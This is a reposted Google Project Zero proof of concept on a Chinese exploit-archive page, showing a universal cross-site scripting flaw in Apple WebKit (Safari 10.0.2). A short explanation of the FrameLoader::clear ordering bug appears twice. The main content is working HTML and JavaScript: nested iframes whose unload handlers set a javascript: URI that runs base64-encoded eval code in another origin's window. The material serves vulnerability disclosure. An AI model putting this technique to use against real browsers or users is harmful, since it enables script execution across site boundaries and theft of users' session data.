首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Apple WebKit 10.0.2 - 'FrameLoader::clear' Universal Cross-Site Scripting
来源:Google Security Research 作者:Google 发布时间:2017-02-27  
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1049
 
When the new page is loading, FrameLoader::clear is called to clear the old document and window.
 
Here's a snippet of FrameLoader::clear.
 
void FrameLoader::clear(Document* newDocument, bool clearWindowProperties, bool clearScriptObjects, bool clearFrameView)
{
    ...
    // Do this after detaching the document so that the unload event works.
    if (clearWindowProperties) {
        InspectorInstrumentation::frameWindowDiscarded(m_frame, m_frame.document()->domWindow());
        m_frame.document()->domWindow()->resetUnlessSuspendedForDocumentSuspension();
        m_frame.script().clearWindowShell(newDocument->domWindow(), m_frame.document()->pageCacheState() == Document::AboutToEnterPageCache); <<-------- (1)
 
        if (shouldClearWindowName(m_frame, *newDocument))
            m_frame.tree().setName(nullAtom);
    }
 
    ...
    m_frame.setDocument(nullptr); <<-------- (2)
    ...
}
 
The new document's window is attached at (1) before calling |m_frame.setDocument(nullptr)| that calls unload event handlers. So in the unload event handler, we could execute arbitrary javascript code on new document's window with a javascript: URI.
 
 
Tested on Safari 10.0.2(12602.3.12.0.1).
-->
 
<body>
<script>
 
/*
 
Apple WebKit: UXSS via FrameLoader::clear
 
When the new page is loading, FrameLoader::clear is called to clear the old document and window.
 
Here's a snippet of FrameLoader::clear.
 
void FrameLoader::clear(Document* newDocument, bool clearWindowProperties, bool clearScriptObjects, bool clearFrameView)
{
    ...
    // Do this after detaching the document so that the unload event works.
    if (clearWindowProperties) {
        InspectorInstrumentation::frameWindowDiscarded(m_frame, m_frame.document()->domWindow());
        m_frame.document()->domWindow()->resetUnlessSuspendedForDocumentSuspension();
        m_frame.script().clearWindowShell(newDocument->domWindow(), m_frame.document()->pageCacheState() == Document::AboutToEnterPageCache); <<-------- (1)
 
        if (shouldClearWindowName(m_frame, *newDocument))
            m_frame.tree().setName(nullAtom);
    }
 
    ...
    m_frame.setDocument(nullptr); <<-------- (2)
    ...
}
 
The new document's window is attached at (1) before calling |m_frame.setDocument(nullptr)| that calls unload event handlers. So in the unload event handler, we could execute arbitrary javascript code on new document's window with a javascript: URI.
 
 
Tested on Safari 10.0.2(12602.3.12.0.1).
*/
 
"use strict";
 
function log(txt) {
    //if (Array.isArray(txt))
    //    txt = Array.prototype.join.call(txt, ", ");
 
    let c = document.createElement("div");
    c.innerText = "log: " + txt;
    d.appendChild(c);
}
 
function main() {
    let f = document.body.appendChild(document.createElement("iframe"));
    
    let a = f.contentDocument.documentElement.appendChild(document.createElement("iframe"));
    a.contentWindow.onunload = () => {
        let b = f.contentDocument.documentElement.appendChild(document.createElement("iframe"));
        b.contentWindow.onunload = () => {
            f.src = "javascript:''";
 
            let c = f.contentDocument.documentElement.appendChild(document.createElement("iframe"));
            c.contentWindow.onunload = () => {
                f.src = "javascript:''";
 
                let d = f.contentDocument.appendChild(document.createElement("iframe"));
                d.contentWindow.onunload = () => {
                    f.src = "javascript:setTimeout(eval(atob('" + btoa("(" +function () {
                        alert(document.location);
                    } + ")") + "')), 0);";
                };
            };
        };
    };
 
    f.src = "https://abc.xyz/";
}
 
main();
 
/*
b JSC::globalFuncParseFloat
 
*/
</script>
</body>
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·macOS HelpViewer 10.12.1 - XSS
·Apple WebKit 10.0.2 - Cross-Or
·Microsoft Edge / Internet Expl
·Apple WebKit 10.0.2 - 'Frame::
·Disk Savvy Enterprise 9.4.18 -
·Microsoft Edge and Internet Ex
·Google Chrome - 'layout' Out-o
·Linux Kernel 4.4.0 (Ubuntu) -
·EasyCom For PHP 4.0.0 - Denial
·Linux Kernel 4.4.0 (Ubuntu) -
·EasyCom For PHP 4.0.0 - Buffer
·Trend Micro InterScan Messagin
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved